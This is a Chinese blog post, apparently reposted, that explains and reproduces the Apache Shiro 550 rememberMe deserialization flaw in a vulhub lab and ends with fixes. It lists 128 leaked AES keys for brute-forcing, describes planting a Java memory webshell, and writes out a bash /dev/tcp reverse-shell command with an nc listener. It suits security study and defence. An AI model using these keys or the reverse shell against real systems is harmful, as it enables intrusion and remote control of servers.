暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

用简单的思维去理解较复杂的Shiro 550反序列化漏洞

老王安全 2022-08-31
4175

一、如何识别Shiro框架


  • 未登录的情况下,请求包的cookie中不存在rememberMe的信息,响应包Set-Cookie里也没有,rememberMe=deleteMe的信息

  • 在登录失败的话,无论是否勾选Remember me(相当于记住账号密码的功能),响应包中Set-Cookie参数值,中有rememberMe=deleteMe的信息

  • 不勾选Remember me字段并登录成功的话响应包中的Set-Cookie的值中存在rememberMe=deleteMe息,但之后的所有请求数据包中Cookie都不会有rememberMe的信息

  • 勾选Remember me字段并登录成功的话响应包中参数Set-Cookie的值中存在rememberMe=deleteMe息,并且之后操作的所有请求包中参数Cookie都会有rememberMe的信息


二、漏洞原理

    Apache Shiro影响版本 <= 1.2.4


    在shiro框架中默认使用了CookieRememberMeManager功能,AES是一种对称加密的加密方法(加密、解用的都是同一个密钥,用于前后端对Cookie的传递处理),其在框架后端处理前端传入的Cookie的流程是:
      后端获取rememberme cookie值 》base64解码 》 AES解密 》 反序列化
      在Shiro 1.2.4及之前的框架中,其AES的密钥(也称为Key)是硬编码(将密钥已经写好保存在源码中),从而可以按照源码所规则的方式生成带有恶意数据的Cookie值并通过请求包中Cookie参数Rememberme Cookie插入,在通过后端对Cookie内容接收处理的过程中反序列化以及调用可以造成RCE的Java功能包
      CommonsCollections造成了命令执行的危害,利用顺序则为处理Cookie的逆向逻辑:


        要执行的命令 》序列化 》AES加密 》base64编码 》前端修改请求中rememberme cookie的值


        在整个漏洞利用的过程中,重点在于AES加解密所用的密钥,该密钥是以硬编码的方式存在,如果管理员没有及时修改该默认密钥,安全测试者就可以在前端自主构造恶意数据请求传入后端处理执行达到RCE的效果。在Shiro 1.2.4及之前的框架中,Key为默认存于源码中,而且该框架属于开源状态,如果不及时修改的话,从而控制Rememberme Cookie传入恶意数据到后端反序列化的对象。(相比Base64、序列化操作,理论上AES没有密钥将无法破解出可用明文数据,现在测试者拥有了AES加密解密所用的Key,相当于可以操控整个Cookie构造过程,那测试者将可以随意构造含有恶意命令的Cookie数据传入后端,由后端的处理得到数据中的恶意命令的明文,再通过其他功能包调用执行了命令)



          Cookie数据传入后端引起RCE的过程:
          后端获取rememberme cookie值 》base64解码 》 AES解密 》 反序列化 》 readObject()调用对象 》其中调用如CommonsColle



          有些具有安全意识的运维人员会自己按照官方的文档并利用工具重新构造一个新的Key,有些运维人员会直接用官方默认Key,还有一种情况是采用互联网上其他运维人员二次开发过的源码,其中Key就被重新构造过,但出于此套源码仍存在于互联网,其中的Key仍有很大的可能被收集到,这种情况是存在较大的潜在危险性的。

          以下是从互联网中收集到的Key(仍可以自己长时间测试并扩展收集):

            1 kPH+bIxk5D2deZiIxcaaaA==
            2 2AvVhdsgUs0FSA3SDFAdag==
            3 3AvVhmFLUs0KTA3Kprsdag==
            4 4AvVhmFLUs0KTA3Kprsdag==
            5 5aaC5qKm5oqA5pyvAAAAAA==
            6 6ZmI6I2j5Y+R5aSn5ZOlAA==
            7 bWljcm9zAAAAAAAAAAAAAA==
            8 wGiHplamyXlVB11UXWol8g==
            9 Z3VucwAAAAAAAAAAAAAAAA==
            10 MTIzNDU2Nzg5MGFiY2RlZg==
            11 zSyK5Kp6PZAAjlT+eeNMlg==
            12 U3ByaW5nQmxhZGUAAAAAAA==
            13 5AvVhmFLUs0KTA3Kprsdag==
            14 bXdrXl9eNjY2KjA3Z2otPQ==
            15 fCq+/xW488hMTCD+cmJ3aQ==
            16 1QWLxg+NYmxraMoxAXu/Iw==
            17 ZUdsaGJuSmxibVI2ZHc9PQ==
            18 L7RioUULEFhRyxM7a2R/Yg==
            19 r0e3c16IdVkouZgk1TKVMg==
            20 bWluZS1hc3NldC1rZXk6QQ==
            21 a2VlcE9uR29pbmdBbmRGaQ==
            22 WcfHGU25gNnTxTlmJMeSpw==
            23 ZAvph3dsQs0FSL3SDFAdag==
            24 tiVV6g3uZBGfgshesAQbjA==
            25 cmVtZW1iZXJNZQAAAAAAAA==
            26 ZnJlc2h6Y24xMjM0NTY3OA==
            27 RVZBTk5JR0hUTFlfV0FPVQ==
            28 WkhBTkdYSUFPSEVJX0NBVA==
            29 GsHaWo4m1eNbE0kNSMULhg==
            30 l8cc6d2xpkT1yFtLIcLHCg==
            31 KU471rVNQ6k7PQL4SqxgJg==
            32 0AvVhmFLUs0KTA3Kprsdag==
            33 1AvVhdsgUs0FSA3SDFAdag==
            34 25BsmdYwjnfcWmnhAciDDg==
            35 3JvYhmBLUs0ETA5Kprsdag==
            36 6AvVhmFLUs0KTA3Kprsdag==
            37 6NfXkC7YVCV5DASIrEm1Rg==
            38 7AvVhmFLUs0KTA3Kprsdag==
            39 8AvVhmFLUs0KTA3Kprsdag==
            40 8BvVhmFLUs0KTA3Kprsdag==
            41 9AvVhmFLUs0KTA3Kprsdag==
            42 OUHYQzxQ/W9e/UjiAGu6rg==
            43 a3dvbmcAAAAAAAAAAAAAAA==
            44 aU1pcmFjbGVpTWlyYWNsZQ==
            45 bXRvbnMAAAAAAAAAAAAAAA==
            46 OY//C4rhfwNxCQAQCrQQ1Q==
            47 5J7bIJIV0LQSN3c9LPitBQ==
            48 f/SY5TIve5WWzT4aQlABJA==
            49 bya2HkYo57u6fWh5theAWw==
            50 WuB+y2gcHRnY2Lg9+Aqmqg==
            51 3qDVdLawoIr1xFd6ietnwg==
            52 YI1+nBV//m7ELrIyDHm6DQ==
            53 6Zm+6I2j5Y+R5aS+5ZOlAA==
            54 2A2V+RFLUs+eTA3Kpr+dag==
            55 6ZmI6I2j3Y+R1aSn5BOlAA==
            56 SkZpbmFsQmxhZGUAAAAAAA==
            57 2cVtiE83c4lIrELJwKGJUw==
            58 fsHspZw/92PrS3XrPW+vxw==
            59 XTx6CKLo/SdSgub+OPHSrw==
            60 sHdIjUN6tzhl8xZMG3ULCQ==
            61 O4pdf+7e+mZe8NyxMTPJmQ==
            62 HWrBltGvEZc14h9VpMvZWw==
            63 rPNqM6uKFCyaL10AK51UkQ==
            64 Y1JxNSPXVwMkyvES/kJGeQ==
            65 lT2UvDUmQwewm6mMoiw4Ig==
            66 MPdCMZ9urzEA50JDlDYYDg==
            67 xVmmoltfpb8tTceuT5R7Bw==
            68 c+3hFGPjbgzGdrC+MHgoRQ==
            69 ClLk69oNcA3m+s0jIMIkpg==
            70 Bf7MfkNR0axGGptozrebag==
            71 1tC/xrDYs8ey+sa3emtiYw==
            72 ZmFsYWRvLnh5ei5zaGlybw==
            73 cGhyYWNrY3RmREUhfiMkZA==
            74 IduElDUpDDXE677ZkhhKnQ==
            75 yeAAo1E8BOeAYfBlm4NG9Q==
            76 cGljYXMAAAAAAAAAAAAAAA==
            77 2itfW92XazYRi5ltW0M2yA==
            78 XgGkgqGqYrix9lI6vxcrRw==
            79 ertVhmFLUs0KTA3Kprsdag==
            80 5AvVhmFLUS0ATA4Kprsdag==
            81 s0KTA3mFLUprK4AvVhsdag==
            82 hBlzKg78ajaZuTE0VLzDDg==
            83 9FvVhtFLUs0KnA3Kprsdyg==
            84 d2ViUmVtZW1iZXJNZUtleQ==
            85 yNeUgSzL/CfiWw1GALg6Ag==
            86 NGk/3cQ6F5/UNPRh8LpMIg==
            87 4BvVhmFLUs0KTA3Kprsdag==
            88 MzVeSkYyWTI2OFVLZjRzZg==
            89 empodDEyMwAAAAAAAAAAAA==
            90 A7UzJgh1+EWj5oBFi+mSgw==
            91 c2hpcm9fYmF0aXMzMgAAAA==
            92 i45FVt72K2kLgvFrJtoZRw==
            93 U3BAbW5nQmxhZGUAAAAAAA==
            94 Jt3C93kMR9D5e8QzwfsiMw==
            95 MTIzNDU2NzgxMjM0NTY3OA==
            96 vXP33AonIp9bFwGl7aT7rA==
            97 V2hhdCBUaGUgSGVsbAAAAA==
            98 Q01TX0JGTFlLRVlfMjAxOQ==
            99 Is9zJ3pzNh2cgTHB4ua3+Q==
            100 NsZXjXVklWPZwOfkvk6kUA==
            101 GAevYnznvgNCURavBhCr1w==
            102 66v1O8keKNV3TTcGPK1wzg==
            103 SDKOLKn2J1j/2BHjeZwAoQ==
            104 kPH+bIxk5D2deZiIxcabaA==
            105 kPH+bIxk5D2deZiIxcacaA==
            106 3AvVhdAgUs0FSA4SDFAdBg==
            107 4AvVhdsgUs0F563SDFAdag==
            108 FL9HL9Yu5bVUJ0PDU1ySvg==
            109 5RC7uBZLkByfFfJm22q/Zw==
            110 eXNmAAAAAAAAAAAAAAAAAA==
            111 fdCEiK9YvLC668sS43CJ6A==
            112 FJoQCiz0z5XWz2N2LyxNww==
            113 HeUZ/LvgkO7nsa18ZyVxWQ==
            114 HoTP07fJPKIRLOWoVXmv+Q==
            115 iycgIIyCatQofd0XXxbzEg==
            116 m0/5ZZ9L4jjQXn7MREr/bw==
            117 NoIw91X9GSiCrLCF03ZGZw==
            118 oPH+bIxk5E2enZiIxcqaaA==
            119 QAk0rp8sG0uJC4Ke2baYNA==
            120 Rb5RN+LofDWJlzWAwsXzxg==
            121 s2SE9y32PvLeYo+VGFpcKA==
            122 SrpFBcVD89eTQ2icOD0TMg==
            123 U0hGX2d1bnMAAAAAAAAAAA==
            124 Us0KvVhTeasAm43KFLAeng==
            125 Ymx1ZXdoYWxlAAAAAAAAAA==
            126 YWJjZGRjYmFhYmNkZGNiYQ==
            127 zIiHplamyXlVB11UXWol8g==
            128 ZjQyMTJiNTJhZGZmYjFjMQ==

            三、漏洞复现


              1 实验环境:Linux下的docker与docker-compose
              2 vulhub github地址:https://github.com/vulhub/vulhub
              3
              4 拉取vulhub:
              5 git clone https://github.com/vulhub/vulhub #如果出现4xx错误,请改为git clone git://github.com/vulhub/vulhub
              6
              7 命令:
              8 docker-compose up -d
              #在漏洞目录shiro 550(CVE-2016-4437)拉取启动docker容器,启动关闭docker需要在同一
              9 docker-compose down
              #关闭docker容器


              查看Linux的网络配置IP地址,容器启动端口默认是8080端口,在使用Burp设置监听抓包的时候记得别冲突了。


              尝试登录并抓包,拦截响应数据包,发现存在rememberMe=deleteMe字段信息:

              这里用来检测是否存在Shiro反序列化漏洞的方式很多,Github上存在着很多大表哥们开发的POC脚本工具等,

              此处笔者用的是J1anFen大佬所写的图形化工具

              而且爆破的Key内容可以快速修改且方便


              将存在Shiro框架的Url复制粘贴到工具检测,点击“爆破密钥”,发现密钥存在于工具列表中,然后“爆破利用链”,也就是可以调用进行RCE的Java功能包,发现也存在,所以我们可以利用Shiro 550反序列化漏洞进行RCE。(检测的功能是用于在测试者已知泄露Key但不存在于工具Key列表的情况下,或者已知利用链,去修改Key的值并验证,验证是否可以利用该Shiro 550漏洞)



              让我们命令执行看看,发现成功回显,接下来尝试写入Java内存马


              有多种类型的Java内存马,至于每一种类型的马是不同的实现方式,可以自行去了解。这里笔者采用的是Filter蚁剑的马子,复制内存马PUT好的链接并配置好蚁剑,成功连接上。

              利用虚拟终端,尝试反弹shell到攻击机Kali上(正常状态下应该是公网VPS)

                命令:回到Kali攻击机获取交互shell:
                bash -c 'exec bash -i &>/dev/tcp/192.168.137.130/1234 <&1' 
                #目标机上执行,反弹shell流量到192.168.137.130主
                nc -lvvp 1234 
                #监听1234端口



                回到Kali攻击机获取交互shell:


                修复方案:

                1. 千万别使用来自互联网的密钥,需要的话可以自己按照官方的方法进行生成Key!!!

                2. 有能力的话可以修改有关rememberMe关键字,也千万别将自己的Key泄露到互联网上!!!

                在官方后续的修复和处理中,只是对Key的保密性进行加强:删除了默认Key、如果不配置Key将会随机生成Key等等,但造成反序列化RCE的点readObject()与处理的对象来自于外部的RememberMe Cookie仍可以由前端进行控制传入数据,如果泄露了Key,理论上是存在Shiro 550反序列化RCE漏洞的!!!



                所以,最有效的方式就是别泄露AES的Key!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


                总结:


                复现漏洞成功,其实有关Shiro 550这个漏洞的EXP&POC以及有很多存在手工和工具多种方法,笔者这里演示这一种方法的目的是为了更快更方便的利用该漏洞,毕竟在干活的时候每一分钟每一秒都很宝贵。
                如果要深入了解Shiro反序列化漏洞,还需要我们去深入研究Shiro框架里各种功能Jar包的调用等等,如果没有Java审计能力,将会让自己很头疼,所以说我们要将学习的重点放在该关注的点上,就好比本章所介绍的Shiro 550反序列化漏洞,重点就在RememberMe Cookie处理上,还有处理过程中的AES Key的保密性,毕竟AES是一种对称性加密算法,如果丢失了Key,安全性将存无,所以说安全测试者其中之一的思路可以着重在Key收集上,理论上如果得到Key较大的几率就可以利用该Shiro框架的反序列化漏洞。




                文章转载自老王安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                评论